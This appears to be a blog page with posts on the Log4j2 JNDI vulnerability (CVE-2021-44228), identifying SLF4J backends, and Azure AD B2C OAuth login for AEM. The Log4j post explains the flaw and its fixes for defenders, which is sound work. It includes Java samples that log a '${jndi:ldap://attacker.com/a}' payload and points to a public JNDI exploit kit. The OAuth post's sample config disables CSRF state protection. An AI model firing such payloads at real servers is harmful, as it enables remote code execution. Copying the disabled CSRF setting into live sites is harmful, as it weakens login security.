Sunday, December 12, 2021

Apache Log4j2 Security Vulnerabilities(CVE-2021-44228) - Details | Apache Log4j2 Remote Code Execution through JNDI endpoins

A recently(09-Dec-2021) discovered a vulnerability in Log4j 2 is reportedly being exploited in the wild, putting widely used applications and cloud services at risk. Log4j2 is an open-source Java logging framework managed by Apache Software Foundation.

CVE-2021-44228: Apache Log4j2 JNDI features do not protect against attacker-controlled LDAP and other JNDI-related endpoints.

The vulnerability CVE-2021-44228 allows remote code execution against LDAP and other JNDI-related endpoints - ${jndi:protocol://server}, e.g. ${jndi:ldap://attacker.com/a}. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.



While logging a message with the JNDI endpoint, the JNDI feature of the Log4j2 module tries to establish the connection to the JNDI URL specified in the log message, through this the attacker can make the system connect to the remote system and inject malicious code for execution(if the request/header from the end-user is directly logged through log4j2 logger).

Refer to https://logging.apache.org/log4j/2.x/security.html for more details on the issue.

All versions from all from 2.0-beta9 to 2.14.1 are impacted.

The issue is now addressed in version 2.15.0 - the JNDI feature is disabled by default, upgrade the dependency version to 2.15.0 for addressing the issue in your project. Also, Apache documented quick steps to mitigate the issue immediately without updating the dependency version on the above URL.

The project using any of the two approaches will be impacted -  If the below versions are enabled then the below code displays JNDI lookup exception

Option1: SLF4J Bridge for Log4j2

<dependency>

<groupId>org.apache.logging.log4j</groupId>

<artifactId>log4j-slf4j-impl</artifactId>

<version>2.14.1</version>

</dependency> 

Option2: Log4j2 direct dependencies

 <dependency>

    <groupId>org.apache.logging.log4j</groupId>

    <artifactId>log4j-api</artifactId>

    <version>2.14.1</version>

</dependency>

<dependency>

    <groupId>org.apache.logging.log4j</groupId>

    <artifactId>log4j-core</artifactId>

    <version>2.14.1</version>

</dependency> 

Sample CodeLog4j2 direct dependencies

import org.apache.logging.log4j.LogManager;

import org.apache.logging.log4j.Logger;

public class Sample{

private static final Logger log = LogManager.getLogger(Sample.class);

public static void main(String[] args) {  

String header ="${jndi:ldap://attacker.com/a}";  

log.info("test");  

log.info("test: "+log.getClass()+header);

}

}

Sample Code - SLF4J Wrapper

import org.slf4j.Logger;

import org.slf4j.LoggerFactory;

public class Sample{

private static final Logger log = LoggerFactory.getLogger(Sample.class);

public static void main(String[] args) {  

String header ="${jndi:ldap://attacker.com/a}";  

log.info("test");  

log.info(header);

}

}

Error Message: The below error message will be displayed while logging a message with JNDI endpoint, the JNDI feature trying to establish the connection to the JNDI URL specified in the log message, through this the attacker can make the system to connect to the remote system and inject malicious code for execution(if the request/header from the end user is directly logged through log4j logger).The LDAP systems enables the support to store the java class files, the attacker can store a malicious java file into his LDAP system and send the URL through request parameters or headers that will be logged directly through log4j2 impacted versions will give the system control to the attacker.(the attacker can use proxy LDAP server to send remote class with malicious code, refer to https://github.com/pimps/JNDI-Exploit-Kit for more details)



[INFO ] 2021-12-12 00:38:36.158 [main] Sample - test

2021-12-12 00:38:38,267 main WARN Error looking up JNDI resource [ldap://attacker.com/a]. javax.naming.CommunicationException: attacker.com:389 [Root exception is java.net.ConnectException: Connection refused: connect]

at java.naming/com.sun.jndi.ldap.Connection.<init>(Connection.java:244)

at java.naming/com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)

at java.naming/com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1616)

at java.naming/com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2847)

at java.naming/com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:348)

at java.naming/com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)

at java.naming/com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)

at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:204)

at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)

at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)

at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)

at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)

at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:223)

at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1116)

at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1038)

at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)

at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)

at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)

at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)

at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:345)

at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)

at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)

at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)

at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)

at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)

at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)

at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)

at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)

at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)

at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)

at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:543)

at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:502)

at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:485)

at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:460)

at org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:82)

at org.apache.logging.log4j.core.Logger.log(Logger.java:161)

at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2198)

at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2152)

at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2135)

at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2011)

at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1983)

at org.apache.logging.log4j.spi.AbstractLogger.info(AbstractLogger.java:1320)

at com.core.oauth.provider.azureadb2c.Sample.main(Sample.java:17)

Caused by: java.net.ConnectException: Connection refused: connect

at java.base/java.net.PlainSocketImpl.connect0(Native Method)

at java.base/java.net.PlainSocketImpl.socketConnect(PlainSocketImpl.java:101)

at java.base/java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:399)

at java.base/java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:242)

at java.base/java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:224)

at java.base/java.net.SocksSocketImpl.connect(SocksSocketImpl.java:403)

at java.base/java.net.Socket.connect(Socket.java:608)

at java.base/java.net.Socket.connect(Socket.java:557)

at java.base/java.net.Socket.<init>(Socket.java:453)

at java.base/java.net.Socket.<init>(Socket.java:230)

at java.naming/com.sun.jndi.ldap.Connection.createSocket(Connection.java:337)

at java.naming/com.sun.jndi.ldap.Connection.<init>(Connection.java:223)

... 42 more

In the real scenario, remote class from the attacker server will be executed that will provide system control to the attacker.

The issue can be addressed in multiple ways but the best-recommended approach is by changing the dependency version to the latest 2.15.0

  • WAF (Web Application Filter)— Block the malicious request by enabling required rules
  • Disable Log4j2 and use different logger implementation — this should be easy if the SLF4J library is used, refer to https://www.albinsblog.com/2021/12/how-to-identify-which-logging-library-slf4j-using-for-logging.html for more details
  • Disable JNDI Lookups — add -Dlog4j2.formatMsgNoLookups=true to JVM parameter
  • (java -Dlog4j2.formatMsgNoLookups=true …) or Set Environment Variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true
  • , refer to https://logging.apache.org/log4j/2.x/security.html for more details
  • Remove the JndiLookup class from the class path — refer to https://logging.apache.org/log4j/2.x/security.html for more details
  • In JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1, com.sun.jndi.ldap.object.trustURLCodebase is set to false, meaning JNDI cannot load a remote codebase using LDAP, this will block the LDAP remote code execution vector. Ensure com.sun.jndi.ldap.object.trustURLCodebase java system property is not set to true.
  • Java Serialization Filtering — Whitelist only the known classes for deserialization, refer to https://medium.com/tech-learnings/serialization-filtering-deserialization-vulnerability-protection-in-java-349c37f6f416 for more details

In long run, we should validate/sanitize the user inputs(request parameters/headers, etc.) before performing any activities e.g. logging on the user inputs, this will help us to prevent malicious code injection.

Update Log4j2 to latest library version(2.15.0)

Option1: SLF4J Bridge for Log4j2

<dependency>

<groupId>org.apache.logging.log4j</groupId>

<artifactId>log4j-slf4j-impl</artifactId>

<version>2.15.0</version>

</dependency> 

Option2: Log4j2 direct dependencies

 <dependency>

    <groupId>org.apache.logging.log4j</groupId>

    <artifactId>log4j-api</artifactId>

    <version>2.15.1</version>

</dependency>

<dependency>

    <groupId>org.apache.logging.log4j</groupId>

    <artifactId>log4j-core</artifactId>

    <version>2.15.1</version>

</dependency>

The actual message is displayed after upgrading the dependency versions - no JNDI lookup performed on the JND endpoint

[INFO ] 2021-12-12 01:07:09.227 [main] Sample - test

[INFO ] 2021-12-12 01:07:09.230 [main] Sample - ${jndi:ldap://attacker.com/a}

The impact of the issue is based on how the project manages the log messages for the request parameters/headers received from the end-users - the impact is less if the message is filtered in any of the layers.

[Update 1]: 

The New log4j2 version is released(2.16.0) now, the fix applied on 2.15.0 was not complete to address all the issue scenarios, upgrade to the latest version(2.16.0) to address the issue completely. Refer https://logging.apache.org/log4j/2.x/security.html for more details(CVE-2021–45046)

[Update 2]:

The New log4j2 version is released(2.17.0) now, the fix applied on 2.16.0 was not complete and open for DOS(Denial of Service) attack. Refer https://logging.apache.org/log4j/2.x/security.html for more details(CVE-2021–45105]:

Impact on Adobe Experience Manager(AEM)

 Based on the analysis AEM OOTB includes log4j v1.2.17 and as CVE-2021-44228 impacting Apache Log4j 2( versions 2.0 to 2.14.1) looks to be no immediate impact, this is my personal view but need to wait for the confirmation from Adobe(please check with Adobe for any impact on AEM with this issue). But you should address if any of your custom projects on AEM embed the impacted maven dependency versions.

[Update]

Based on the further update from Adobe, the AEM core product is not impacted by the log4j2 JNDI lookup security issue but the custom code should be reviewed to ensure the impacted log4j2 version is not embedded.



Saturday, December 11, 2021

SLF4J - Simple Logging Facade for Java | How to identify which logging library SLF4J using for logging?

The Simple Logging Façade for Java (SLF4J) serves as a simple façade or abstraction for various logging frameworks, such as java.util.logging, logback and log4j. SLF4J allows the end-user to plug in the desired logging framework at deployment time. It enables a generic API making the logging independent of the actual implementation.



SimpleLogger(org.slf4j.simple.SimpleLoggerFactory) - sends all log messages to the console using the “standard” error output stream (System.err).

NOPLogger(org.slf4j.helpers.NOPLoggerFactory) - All logging will be silently discarded. Starting with version 1.6.0, if no binding(logger implementation) is found on the classpath, this one will be used by default. 

SLF4J: No SLF4J providers were found.
SLF4J: Defaulting to no-operation (NOP) logger implementation
SLF4J: See http://www.slf4j.org/codes.html#noProviders for further details.

Log4j(org.slf4j.log4j12.Log4jLoggerFactory/org.apache.logging.slf4j.Log4jLogger) - A wrapper over the Log4j 1.2.2 Logger's

Java Util Logging(org.slf4j.jul.JDK14LoggerFactory) - wrapper for the Java Util Logging logger

Logback Logging Framework(ch.qos.logback.classic.LoggerContext) - Wrapper for Logback Logging Framework

Dependencies:


SLF4J API Dependency:


<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-api</artifactId>
    <version>2.0.0-alpha5</version>
</dependency>

Implementation Dependencies:


SimpleLogger:

<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>2.0.0-alpha5</version>
<scope>runtime</scope>
</dependency>

The logger configuration can be enabled by adding "simplelogger.properties" file to the class path(src/main/resources)

simplelogger.properties

org.slf4j.simpleLogger.logFile=System.out
org.slf4j.simpleLogger.defaultLogLevel=warn

Log4j 1.2:

<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-log4j12</artifactId>
    <version>2.0.0-alpha5</version>
    <scope>runtime</scope>
</dependency>

While enabling Log4j logging Framework, the log4j.proerties should be added into the classpath(src/main/resources), sample log4j file

log4j.properties

log4j.rootLogger=info, stdout
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.layout.ConversionPattern=%-4r [%t] %-5p %c %x - %m%n

Log4j 2:

<!-- SLF4J Bridge -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-slf4j-impl</artifactId>
<version>2.15.0</version>
</dependency>

In this case remove SLF4J API dependency(slf4j-api) - only add the above dependency 

While enabling Log4j 2 logging Framework, the log4j2.xml should be added into the classpath(src/main/resources), sample log4j2.xml file

log4j2.xml

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="INFO">
    <Appenders>
        <Console name="console" target="SYSTEM_OUT">
            <PatternLayout
                pattern="[%-5level] %d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %c{1} - %msg%n" />
        </Console>
    </Appenders>
    <Loggers>
        <Root level="debug" additivity="false">
            <AppenderRef ref="console" />
        </Root>
    </Loggers>
</Configuration>


Java Util Logging:

<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-jdk14</artifactId>
    <version>2.0.0-alpha5</version>
    <scope>runtime</scope>
</dependency>

The default logger configuration is available in $JAVA_HOME/conf/logging.properties, custom logging.properties can be enabled if required(there are multiple ways to load the custom logging.properties - JVM parameter - -Djava.util.logging.config.file=logging.properties, System.setProperty("java.util.logging.config.file", "logging.properties"); etc)

logging.properties

handlers= java.util.logging.ConsoleHandler
.level= INFO
java.util.logging.ConsoleHandler.level = INFO
java.util.logging.ConsoleHandler.formatter = java.util.logging.SimpleFormatter

com.demo.logging.level=INFO

Logback Logging Framework

<dependency>
    <groupId>ch.qos.logback</groupId>
    <artifactId>logback-classic</artifactId>
    <version>1.3.0-alpha10</version>
</dependency>

The logger configuration can be enabled by adding "logback.xml" file to the class path(src/main/resources)

<configuration>
<appender name="CONSOLE"
class="ch.qos.logback.core.ConsoleAppender">
<layout class="ch.qos.logback.classic.PatternLayout">
<Pattern>
%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n
</Pattern>
</layout>
</appender>

<logger name="com.demo" level="debug" additivity="false">
<appender-ref ref="CONSOLE" />
</logger>

<root level="error">
<appender-ref ref="CONSOLE" />
</root>
</configuration>

Ensure only one implementation is enabled to the project, the latest SLF4J versions use the first implementation loaded as the actual implementation.

SLF4J: Class path contains multiple SLF4J providers.
SLF4J: Found provider [[email protected]]
SLF4J: Found provider [[email protected]]
SLF4J: Found provider [[email protected]]
SLF4J: Found provider [org.slf4j.log4j12.Log4[email protected]]
SLF4J: See http://www.slf4j.org/codes.html#multiple_bindings for an explanation.
SLF4J: Actual provider is of type [[email protected]]

Some of the time, we may have the use case to identify the logging implementation SLF4J is using to log the messages, this can be easily identified by looking into the logger implementation dependency added to the project. But sometimes the dependencies may come from external projects, the below APIs can be used to identify the same.

//
org.slf4j.Logger logger = org.slf4j.LoggerFactory.getLogger(Application.class);
System.out.println(logger.getClass());

Output - class org.slf4j.simple.SimpleLogger

//

LoggerFactory.getILoggerFactory().getClass().getName()

Output - ch.qos.logback.classic.LoggerContext

//

In earlier versions, even the below API is supported

org.slf4j.impl.StaticLoggerBinder.getSingleton().getLoggerFactory()

Output - ch.qos.logback.classic.LoggerContext[default]

Sample Java Class:

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class Sample {

private static final Logger log = LoggerFactory.getLogger(VulnerableLog4jExampleHandlerLocal.class);

public static void main(String[] args) {
 
      log.info("test");  
log.info(log.getClass().toString());
log.info(LoggerFactory.getILoggerFactory().getClass().getName());
}
}


Friday, December 10, 2021

Enable User Authentication for AEM Websites — Azure AD B2C OAuth 2.0

Please note, sharing this post based on my learning and understanding may not be the right solution for your use cases; considering security and other factors, consult AEM/Azure AD B2C experts before enabling any user authentications solutions.

In my earlier post, we have seen how to use the Azure AD B2C SAML standard to enable authenticated websites in AEM. In this post, let us now see how to use the OAuth 2.0 standard to configure Authenticated websites in AEM using Azure AD B2C. The recommendation from Microsoft is to use OpenID Connect to enable the authentication for websites, but AEM currently won’t support OpenID connect OOTB — may need to build a custom authentication handler to support OpenID Connect with AEM.

AEM-Azure-AD-B2C-OAuth

Azure AD B2C Configurations:

Azure Active Directory B2C tenant:

Before your applications can interact with Azure Active Directory B2C (Azure AD B2C), they must be registered in a tenant that you manage.

Refer to https://docs.microsoft.com/en-us/azure/active-directory-b2c/tutorial-create-tenant for more details on configuring B2C tenants.

Signing and encryption keys for Identity Experience Framework:

As a next step, Create the signing and encryption keys

The Identity Experience Framework should be defined to support the user authentication through AD B2C Local accounts.

Refer to https://docs.microsoft.com/en-us/azure/active-directory-b2c/tutorial-create-user-flows?pivots=b2c-custom-policy#add-signing-and-encryption-keys-for-identity-experience-framework-applications for more details on enabling Signing and encryption keys for Identity Experience Framework.

Register Identity Experience Framework applications:

Azure AD B2C requires you to register two applications that it uses to sign up and sign in users with local accounts: IdentityExperienceFramework, a web API, and ProxyIdentityExperienceFramework, a native app with delegated permission to the IdentityExperienceFramework app. Your users can sign up with an email address or username and a password to access your tenant-registered applications, which creates a “local account.” Local accounts exist only in your Azure AD B2C tenant.

Refer to https://docs.microsoft.com/en-us/azure/active-directory-b2c/tutorial-create-user-flows?pivots=b2c-custom-policy#register-identity-experience-framework-applications for more details on registering identity experience framework applications.

Custom Policies:

As a next step to enable the required custom policies, the starter pack can be downloaded from https://github.com/Azure-Samples/active-directory-b2c-custom-policy-starterpack, I am going to enable OAuth 2.0 with a Local account.

Customized LocalAccount policies to enable SignIn/SignUp/Profile Edit can be downloaded from https://github.com/techforum-repo/youttubedata/tree/master/active-directory-b2c/oauth/b2c-policies

Update the tenant name references in TrustFrameworkBase.xml, TrustFrameworkExtensions.xml, TrustFrameworkLocalization.xml, SignUpOrSigninSAML.xml, and ProfileEdit.xml

Replace ProxyIdentityExperienceFrameworkAppId and IdentityExperienceFrameworkAppId values in TrustFrameworkExtensions.xml.

Currently the Graph API is not supported to fetch the user profile details from Azure AD B2C Local Accounts, the user info endpoints can be enabled through custom policy to fetch the required profile details of the logged in user

Refer to https://docs.microsoft.com/en-us/azure/active-directory-b2c/userinfo-endpoint?pivots=b2c-custom-policy for more details on enabling user info endpoint.

The issuer id that needs to be configured in TrustFrameworkExtensions.xml along with other end point details can be copied from openid-configuration URL — https://tenantn.b2clogin.com/tenantname.onmicrosoft.com/<policy-name>/v2.0/.well-known/openid-configuration

e.g https://albinsblog.b2clogin.com/albinsblog.onmicrosoft.com/B2C_1A_signup_signin/v2.0/.well-known/openid-configuration

<Item Key="issuer">https://yourtenant.b2clogin.com/11111111-1111-1111-1111-111111111111/v2.0/</Item>

Now upload the policies to Azure AD B2C “Identity Experience Framework” in the below order

TrustFrameworkBase.xml
TrustFrameworkLocalization.xml
TrustFrameworkExtensions.xml
SignUpOrSigninSAML.xml
ProfileEdit.xml

Azure AD B2C App Setup:

Not setup Azure AD B2C app through Azure portal, I was getting version mismatch issue while enabling the APP through latest App registration link, registered the app through legacy app registration link to overcome the issue.

Ensure the below reply URL’s are enabled — I am using localhost for demo but use the actual website domain

https://localhost/oauth/callback

https://localhost/callback/j_security_check

Copy the application id, this value is required while configuring the OAuth handler in AEM

Now configure the secret key to the app

Copy the secret , this value is required while configuring the OAuth handler in AEM

AEM Configurations:

Enable SSL for AEM servers:

The return URL's should be enabled through HTTPS, even for local testing the HTTPS is mandatory.

Refer to https://experienceleague.adobe.com/docs/experience-manager-learn/foundation/security/use-the-ssl-wizard.html?lang=en for enabling the SSL for AEM server( the same self-signed certificate can be downloaded for testing, I have modified the default AEM SSL port to 443 ”

Enable OAuth Authentication Handler:

By default, “Adobe Granite OAuth Authentication Handler” is not enabled by default, the handler can be enabled by opening and saving without doing any changes.

Now the OAuth Authentication handler is enabled

Custom Azure AD B2C OAuth Provider:

AEM won’t support Azure AD B2C OAuth authentication OOTB, define a new provider to support the authentication with Azure AD B2C. Refer to https://github.com/techforum-repo/youttubedata/tree/master/active-directory-b2c/oauth/azureadb2c-oauth-provider for custom provider to support Azure AD B2C Oauth authentication. The bundle enabled for AEM as a Cloud Service SDK, may require some changes to deploy the provider bundle to other AEM versions.

The latest SDK versions supports com.adobe.granite.auth.oauth.Provider2 to enable logout functionality(refer to https://github.com/techforum-repo/youttubedata/blob/master/active-directory-b2c/oauth/azureadb2c-oauth-provider/src/main/java/com/core/oauth/provider/azureadb2c/AzureADB2COAuth2ProviderImpl.java) but unfortunately the logout functionality wont provide any option to enable site specific post logout redirects on multisite scenarios, to handle this I have enabled a Custom Authentication Handler(refer to https://github.com/techforum-repo/youttubedata/blob/master/active-directory-b2c/oauth/azureadb2c-oauth-provider/src/main/java/com/core/oauth/provider/azureadb2c/AzureADB2COAuthLogoutHandler.java) that will redirect the user to root page of the website(the behavior can be customized as required) — the logout can be initiated by adding “operation=b2clogout” on current URL.

Configure OAuth Application and Provider:

Now configure the “Azure AD B2C Provider Configuration” with Azure AD B2C specific configurations

// Configuration created by Apache Sling JCR Installer
{
"b2cTenantName":"albinsblog",
"b2cSignInSignUpPolicyName":"B2C_1A_signup_signin",
"b2cLoginDomain":"albinsblog.b2clogin.com",
"b2cEditPolicyName":"B2C_1A_ProfileEdit"
}

Configure “Adobe Experience Manager Web Console — Configuration

Enable the Azure AD B2C application id copied in the earlier step into oauth.client.id and oauth.scope.

Enable Azure AD B2C application secret copied in the earlier step into auth.client.secret

Enable a unique site specific config id(oauth.config.id) — this value will be used while invoking the authentication for a specific URL.

Ensure the oauth.config.provider.id is configured as azureadb2c

{
"oauth.client.id":"cc3b55ac-3904-4140-xxxx",
"oauth.config.id":"azureadb2csite1",
"oauth.config.provider.id":"azureadb2c",
"oauth.create.users":true,
"oauth.csrf.state.protection":false,
"oauth.scope":[
"cc3b55ac-3904-4140-xxxx"
],
"oauth.client.secret":"j36E.l)xxxx"
}

Configure Service User:

Enable the service user with required permissions to manage the users in the system, Create a system user with name “oauth-azureadb2c-service”, navigate to http://localhost:4503/crx/explorer/index.jsp and login as an admin user and click on user administration

Now enable the required permissions for the user — AEM Security | Permissions

Now enable the service user mapping for provider bundle — add an entry into Apache Sling Service User Mapper Service Amendment

{
"user.mapping":[
"azureadb2c.oauth.provider:oauth-azureadb2c-service=oauth-azureadb2c-service"
]
}

Now the users will be directed to the Azure AD B2C login page while accessing https://localhost/j_security_check?configid=azureadb2csite1 (configid specified while enabling the OAuth Authentication Handler)

The user can signup for a new account or login through existing account. The user will be redirect to the root page on successful authentication — https://localhost/, to redirect the user to the current page or to a specific page on successful authentication use the following URL pattern to access the authentication — https://localhost/content/wknd/us/en.html/j_security_check?configid=azureadb2csite1, now the user will be redirected to /content/wknd/us/en.html on successful authentication.

Now by accessing the following URL — https://localhost/system/sling/logout.html?operation=b2clogout the user will be logged out from the website.

User Sync:

Whenever the profile data is changed (e.g familyName and givenName) in Azure AD B2C through the profile edit functionality the same will be reflected in AEM on subsequent logins based on the “Apache Jackrabbit Oak Default Sync Handler” configuration.

AEM OOTB creates an “Apache Jackrabbit Oak Default Sync Handler” configuration specific to each OAuth provider implementation.

The sync handler syncs the user profile data between the external authentication system and the AEM repository.

Configure “User auto membership” property with required AEM groups, the users should be added into while creating the users in AEM — ensure the group is created with required permissions before configuring the sync handler.

The user profile data is synced based on the User Expiration Time setting, the user data will get synced(including the group changes) on the subsequent login after the synced user data expired(default is 1 hr.). Modify the configurations based on the requirement.

// Configuration created by Apache Sling JCR Installer
{
"user.expirationTime":"30m",
"group.expirationTime":"1h",
"user.membershipNestingDepth:Integer":1,
"user.propertyMapping":[
"oauth/oauthid-cc3b55ac-3904-4140-a204-fd0c72ee5cb6=profile/id",
"profile/app-cc3b55ac-3904-4140-a204-fd0c72ee5cb6=access_token",
"profile/sling:resourceType=\"cq/security/components/profile\"",
"profile/id=profile/id",
"profile/name=profile/name",
"profile/familyName=profile/familyName",
"profile/givenName=profile/givenName",
"profile/countryCode=profile/countryCode",
"profile/mrktPermEmail=profile/mrktPermEmail",
"profile/emailVerified=profile/emailVerified",
"profile/phoneNumber=profile/phoneNumber",
"profile/email=profile/email",
"profile/utcOffset=profile/utcOffset",
"profile/mrktPerm=profile/mrktPerm",
"profile/displayName=profile/displayName",
"profile/orgs=profile/orgs"
],
"user.autoMembership":[
"sample2"
]
,
"handler.name":"azureadb2csite1",
"user.pathPrefix":"azureadb2c",
"user.disableMissing":true
}

Profile Edit:

To edit the profile for a logged-in user, the user should be redirected to authorize end point with Profile Edit Policy e.g https://albinsblog.b2clogin.com/albinsblog.onmicrosoft.com/B2C_1A_ProfileEdit/oauth2/v2.0/authorize

Created a Custom Java Filter to handle the profile edit scenario, the filter sends the profile edit request to Azure AD B2C if the URL contains the “operation=profileedit” parameter.

Refer to the custom java filter here — https://github.com/techforum-repo/youttubedata/tree/master/active-directory-b2c/saml/aem-filter

Now the logged in users(if not users will be directed to the login page first) will be sent to the Profile edit page while accessing the URL with “operation=profileedit” and “configId=azureadb2csite1”( configid value will change based on your configuration) e.g. https://localhost/content/wknd/us/en.html?operation=profileedit&configId=azureadb2csite1(use the current page path so the user will be redirected to the same page on successful profile edit)

The user will be redirected to /content/wknd/us/en.html on successful profile edit.

You can now create a small component to display the login status in the web page, the logged in user details can be fetched through a AJAX service call to https://localhost/libs/granite/security/currentuser.json

Login — https://localhost/content/wknd/us/en.html/j_security_check?configid=azureadb2csite1

Log out URL —https://localhost/system/sling/logout.html?operation=b2clogout

Profile Edit URL — https://localhost/content/wknd/us/en.html?operation=profileedit&configId=azureadb2csite1

The “Sign In/Sign Up/Profile Edit” UI branding and the view can be customized based on the project need, also custom DNS can be enabled to support the company-specific login URL — e.g login.mysite.com

CUG(Closed User Group):

Another option is using CUG to enable the authentication for specific pages, the authentication will be requested while the user accessing that specific page and child pages. The CUG can be enabled through Page Properties — Advanced tab.

The Login page should enabled in the following patter <<current Page URL>>/j_security_check?configid=azureadb2csite1&test=test(the config id value change based on your OAuth handler configuration)

e.g /content/wknd/us/en/test.html/j_security_check?configid=azureadb2csite1&test=test

Unfortunately only enabling the url /content/wknd/us/en/test.html/j_security_check?configid=azureadb2csite1 won’t work as AEM internally append .html towards end of the login URL, to avoid this append a additional random query parameter(test=test) as a workaround(not deep dived may be another better solution)

Configure the user’s groups that will have the access under permissions tab — enabling “sample2” user group configured as part of the OAuth User Sync Handler.

Multi-Site Support:

The basic configuration discussed here will helps us to support the authentication for multiple sites using site specific(Domain) login/logout/profile edit URLS but if the website required different permissions enable site specific OAuth handler also better to enable site specific Application in Azure AD B2C with redirect URL’s specific to a website.

The site specific authentication can be invoked through corresponding URL — Site1:

Login — https://mysite1.com/content/test/us/en.html/j_security_check?configid=azureadb2csite1

Log out URL — https://mysite1.com/system/sling/logout.html?operation=b2clogout

Profile Edit URL — https://mysite1.com/content/test/us/en.html?operation=profileedit&configId=azureadb2csite1

Site2:

Login — https://mysite2.com/content/test2/us/en.html/j_security_check?configid=azureadb2csite2

Log out URL — https://mysite2.com/system/sling/logout.html?operation=b2clogout

Profile Edit URL — https://mysite2.com/content/test2/us/en.html?operation=profileedit&configId=azureadb2csite2

Encapsulated Token/HMAC key synchronization:

To make the authentication stateless across multiple publisher instances, enable Encapsulated Token also sync the HMAC key across all the publishers. Refer to https://medium.com/r/?url=https%3A%2F%2Fhelpx.adobe.com%2Fexperience-manager%2F6-5%2Fsites%2Fadministering%2Fusing%2Fencapsulated-token.html%23Introduction for more details on Encapsulated Token and the steps to enable Encapsulated Token and to sync the HMAC keys.

Users synchronization

When multiple publishers are used to serving the content in a load-balanced setup, the user-created in one of the publishers should be synced to the rest of the publisher for seamless authentication.

Refer to https://experienceleague.adobe.com/docs/experience-manager-65/administering/security/sync.html for more details on enabling user sync through Sling Distribution.

Dispatcher/CDN Configurations:

Add the following rule to the dispatcher website farm configuration /filter section

/0101 { /type "allow" /method "GET" /url "*/oauth/callback" }
/0102 { /type "allow" /method "GET" /url "*/callback/j_security_check" }

Also, ensure the following cookies “login-token”, “oauth-authid”, “oauth-configid”, “Cookie with the Azure AD B2C client ID” are whitelisted from CDN.

Logger Configuration:

If required you can set up a custom Logger in order to debug any issues

Logger:

com.core.oauth.provider.azureadb2ccom.adobe.granite.auth.oauth